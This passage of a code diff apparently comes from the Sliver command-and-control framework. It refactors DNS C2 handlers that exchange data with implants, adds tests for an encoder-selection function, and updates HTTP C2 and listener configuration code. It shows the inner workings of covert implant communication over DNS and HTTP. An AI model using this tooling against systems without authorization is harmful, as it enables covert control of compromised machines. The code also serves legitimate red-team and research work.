err = proto.Unmarshal(data, msg)
if err == nil {
return msg, crc32.ChecksumIEEE(data), nil
}
}
dnsLog.Debugf("failed to decode subdata with %#v (%s)", encoder, err)
return nil, 0, ErrInvalidMsg
}
// Returns the most likely -> least likely encoders, if decoding fails fallback to
// the next encoder until we run out of options.
func (s *SliverDNSServer) determineLikelyEncoders(subdata string) []encoders.Encoder {
for _, char := range subdata {
if unicode.IsUpper(char) {
return []encoders.Encoder{encoders.Base58{}, encoders.Base32{}}
}
func determineEncoder(firstChar byte) encoders.Encoder {
index := strings.Index("abcdefghijklmnopqrstuvwxyz", strings.ToLower(string(firstChar)))
if index == -1 {
return encoders.Base32{}
}
return []encoders.Encoder{encoders.Base32{}, encoders.Base58{}}
// if the index is odd, use base58, otherwise use base32
if index&1 == 1 {
return encoders.Base58{}
}
return encoders.Base32{}
}
func (s *SliverDNSServer) nameErrorResp(req *dns.Msg) *dns.Msg {
@@ -464,7 +466,7 @@ func (s *SliverDNSServer) refusedErrorResp(req *dns.Msg) *dns.Msg {
// ---------------------------
// DNS Message Handlers
// ---------------------------
func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
func (s *SliverDNSServer) handleHello(msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[dns] totp request: %v", msg)
dnsSessionID := dnsSessionID()
@@ -498,7 +500,7 @@ func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req
return resp
}
func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
func (s *SliverDNSServer) handleDNSSessionInit(msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[session init] with dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
@@ -591,7 +593,7 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
return resp
}
func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
func (s *SliverDNSServer) handlePoll(msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[poll] with dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
@@ -621,7 +623,7 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
}
}
respData := []byte{}
var respData []byte
dnsLog.Debugf("[poll] manifest %d (%d bytes)", msgID, msgLen)
respData, _ = proto.Marshal(&dnspb.DNSMessage{
Type: dnspb.DNSMessageType_MANIFEST,
@@ -672,7 +674,7 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
return resp
}
func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
func (s *SliverDNSServer) handleDataFromImplant(msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[from implant] dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
@@ -702,7 +704,7 @@ func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMes
return resp
}
func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
func (s *SliverDNSServer) handleDataToImplant(msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[to implant] dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
@@ -761,7 +763,7 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa
return resp
}
func (s *SliverDNSServer) handleClear(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
func (s *SliverDNSServer) handleClear(msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[clear] dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
@@ -802,7 +804,7 @@ func (s *SliverDNSServer) handleClear(domain string, msg *dnspb.DNSMessage, chec
return resp
}
func (s *SliverDNSServer) handleNOP(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
func (s *SliverDNSServer) handleNOP(_ string, _ *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[nop] request checksum: %d", checksum)
resp := new(dns.Msg)
resp.SetReply(req)
+76 -10
View File
@@ -103,7 +103,7 @@ func TestPendingEnvelopes(t *testing.T) {
}
}
func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder) {
func reassemble(t *testing.T, _ string, size int, encoder encoders.Encoder) {
client := dnsclient.NewDNSClient(example1, opts)
dnsMsgs, original := randomDNSMsgs(t, example1, size, encoder, client)
dnsSession := DNSSession{
@@ -162,14 +162,80 @@ func TestIsC2Domain(t *testing.T) {
}
}
func TestDetermineLikelyEncoders(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
sample := randomDataRandomSize(2048)
encodedSample, _ := encoders.Base58{}.Encode(sample)
b58Sample := string(encodedSample)
likelyEncoders := listener.determineLikelyEncoders(b58Sample)
_, err := likelyEncoders[0].Decode([]byte(b58Sample))
if err != nil {
t.Error("DetermineLikelyEncoders failed to decode sample")
func TestDetermineEncoder1(t *testing.T) {
encoder := determineEncoder("a"[0])
// check which encoder type the encoder is
if encoder == nil {
t.Fatal("Expected encoder to not be nil")
}
// check if the encoder is the correct type
if _, ok := encoder.(encoders.Base32); !ok {
t.Fatalf("Expected encoder to be of type Base32 got %T", encoder)
}
}
func TestDetermineEncoder2(t *testing.T) {
encoder := determineEncoder("b"[0])
// check which encoder type the encoder is
if encoder == nil {
t.Fatal("Expected encoder to not be nil")
}
// check if the encoder is the correct type
if _, ok := encoder.(encoders.Base58); !ok {
t.Fatalf("Expected encoder to be of type Base58 got %T", encoder)
}
}
func TestDetermineEncoder3(t *testing.T) {
encoder := determineEncoder("1"[0])
// check which encoder type the encoder is
if encoder == nil {
t.Fatal("Expected encoder to not be nil")
}
// check if the encoder is the correct type
if _, ok := encoder.(encoders.Base32); !ok {
t.Fatalf("Expected encoder to be of type Base32 got %T", encoder)
}
}
func TestDetermineEncoder4(t *testing.T) {
alpha := "abcdefghijklmnopqrstuvwxyz"
for i := 0; i < 100; i++ {
index := insecureRand.Intn(len(alpha))
if index&1 == 1 {
index = index - 1
}
encoder := determineEncoder(alpha[index])
// check if the encoder is the correct type
if _, ok := encoder.(encoders.Base32); !ok {
t.Fatalf("Expected encoder to be of type Base32 got %T", encoder)
}
}
}
func TestDetermineEncoder5(t *testing.T) {
alpha := "abcdefghijklmnopqrstuvwxyz"
for i := 0; i < 100; i++ {
index := insecureRand.Intn(len(alpha))
if index&1 != 1 {
index = index + 1
if len(alpha) <= index {
index = index - 2
}
}
encoder := determineEncoder(alpha[index])
// check if the encoder is the correct type
if _, ok := encoder.(encoders.Base58); !ok {
t.Fatalf("Expected encoder to be of type Base58 got %T", encoder)
}
}
}
-1
View File
@@ -525,7 +525,6 @@ func (s *SliverHTTPC2) mainHandler(resp http.ResponseWriter, req *http.Request)
// redirect to default page
httpLog.Debugf("No pattern matches for request uri")
s.defaultHandler(resp, req)
return
}
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
+9 -10
View File
@@ -29,7 +29,6 @@ import (
"sync"
"time"
"github.com/bishopfox/sliver/client/constants"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/certs"
@@ -52,9 +51,9 @@ func StartMTLSListenerJob(mtlsListener *clientpb.MTLSListenerReq) (*core.Job, er
job := &core.Job{
ID: core.NextJobID(),
Name: constants.MtlsStr,
Name: consts.MtlsStr,
Description: fmt.Sprintf("mutual tls listener %s", bind),
Protocol: constants.TCPListenerStr,
Protocol: consts.TCPListenerStr,
Port: uint16(mtlsListener.Port),
JobCtrl: make(chan bool),
}
@@ -79,9 +78,9 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
job := &core.Job{
ID: core.NextJobID(),
Name: constants.WGStr,
Name: consts.WGStr,
Description: fmt.Sprintf("wg listener port: %d", wgListener.Port),
Protocol: constants.UDPListenerStr,
Protocol: consts.UDPListenerStr,
Port: uint16(wgListener.Port),
JobCtrl: make(chan bool),
}
@@ -132,9 +131,9 @@ func StartDNSListenerJob(dnsListener *clientpb.DNSListenerReq) (*core.Job, error
description := fmt.Sprintf("%s (canaries %v)", strings.Join(dnsListener.Domains, " "), dnsListener.Canaries)
job := &core.Job{
ID: core.NextJobID(),
Name: constants.DnsStr,
Name: consts.DnsStr,
Description: description,
Protocol: constants.UDPListenerStr,
Protocol: consts.UDPListenerStr,
Port: uint16(dnsListener.Port),
JobCtrl: make(chan bool),
Domains: dnsListener.Domains,
@@ -175,16 +174,16 @@ func StartHTTPListenerJob(req *clientpb.HTTPListenerReq) (*core.Job, error) {
if err != nil {
return nil, err
}
name := constants.HttpStr
name := consts.HttpStr
if req.Secure {
name = constants.HttpsStr
name = consts.HttpsStr
}
job := &core.Job{
ID: core.NextJobID(),
Name: name,
Description: fmt.Sprintf("%s for domain %s", name, req.Domain),
Protocol: constants.TCPListenerStr,
Protocol: consts.TCPListenerStr,
Port: uint16(req.Port),
JobCtrl: make(chan bool),
Domains: []string{req.Domain},
+1 -1
View File
@@ -195,7 +195,7 @@ func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
}
// getServerTLSConfig - Generate the TLS configuration, we do now allow the end user
// to specify any TLS paramters, we choose sensible defaults instead
// to specify any TLS parameters, we choose sensible defaults instead
func getServerTLSConfig(host string) *tls.Config {
mtlsCACert, _, err := certs.GetCertificateAuthority(certs.MtlsImplantCA)
+58 -4
View File
@@ -436,20 +436,74 @@ func SaveHTTPC2Config(httpC2Config *clientpb.HTTPC2Config) error {
func HTTPC2ConfigUpdate(newConf *clientpb.HTTPC2Config, oldConf *clientpb.HTTPC2Config) error {
clientID, _ := uuid.FromString(oldConf.ImplantConfig.ID)
c2Config := models.HTTPC2ConfigFromProtobuf(newConf)
err := Session().Where(&models.ImplantConfig{
err := Session().Where(&models.HttpC2PathSegment{
HttpC2ImplantConfigID: clientID,
}).Delete(&models.HttpC2PathSegment{})
if err.Error != nil {
return err.Error
}
err = Session().Where(&models.ImplantConfig{
ID: clientID,
}).Updates(c2Config.ImplantConfig)
if err != nil {
if err.Error != nil {
return err.Error
}
for _, segment := range c2Config.ImplantConfig.PathSegments {
segment.HttpC2ImplantConfigID = clientID
err = Session().Clauses(clause.OnConflict{
UpdateAll: true,
}).Create(&segment)
if err.Error != nil {
return err.Error
}
}
serverID, _ := uuid.FromString(oldConf.ServerConfig.ID)
err = Session().Where(&models.HttpC2Cookie{
HttpC2ServerConfigID: serverID,
}).Delete(&models.HttpC2Cookie{})
if err.Error != nil {
return err.Error
}
err = Session().Where(&models.HttpC2Header{
HttpC2ServerConfigID: serverID,
}).Delete(&models.HttpC2Header{})
if err.Error != nil {
return err.Error
}
serverID, _ := uuid.FromString(oldConf.ImplantConfig.ID)
err = Session().Where(&models.HttpC2ServerConfig{
ID: serverID,
}).Updates(c2Config.ServerConfig)
if err != nil {
if err.Error != nil {
return err.Error
}
for _, cookie := range c2Config.ServerConfig.Cookies {
cookie.HttpC2ServerConfigID = serverID
err = Session().Clauses(clause.OnConflict{
UpdateAll: true,
}).Create(&cookie)
if err.Error != nil {
return err.Error
}
}
for _, header := range c2Config.ServerConfig.Headers {
header.HttpC2ServerConfigID = serverID
err = Session().Clauses(clause.OnConflict{
UpdateAll: true,
}).Create(&header)
if err.Error != nil {
return err.Error
}
}
return nil
}
+2 -1
View File
@@ -18,6 +18,7 @@ package encoders
import (
"encoding/base32"
"strings"
)
// Base32 Encoder
@@ -35,5 +36,5 @@ func (e Base32) Encode(data []byte) ([]byte, error) {
// Decode - Base32 Decode
func (e Base32) Decode(data []byte) ([]byte, error) {
return sliverBase32.DecodeString(string(data))
return sliverBase32.DecodeString(strings.ToLower(string(data)))
}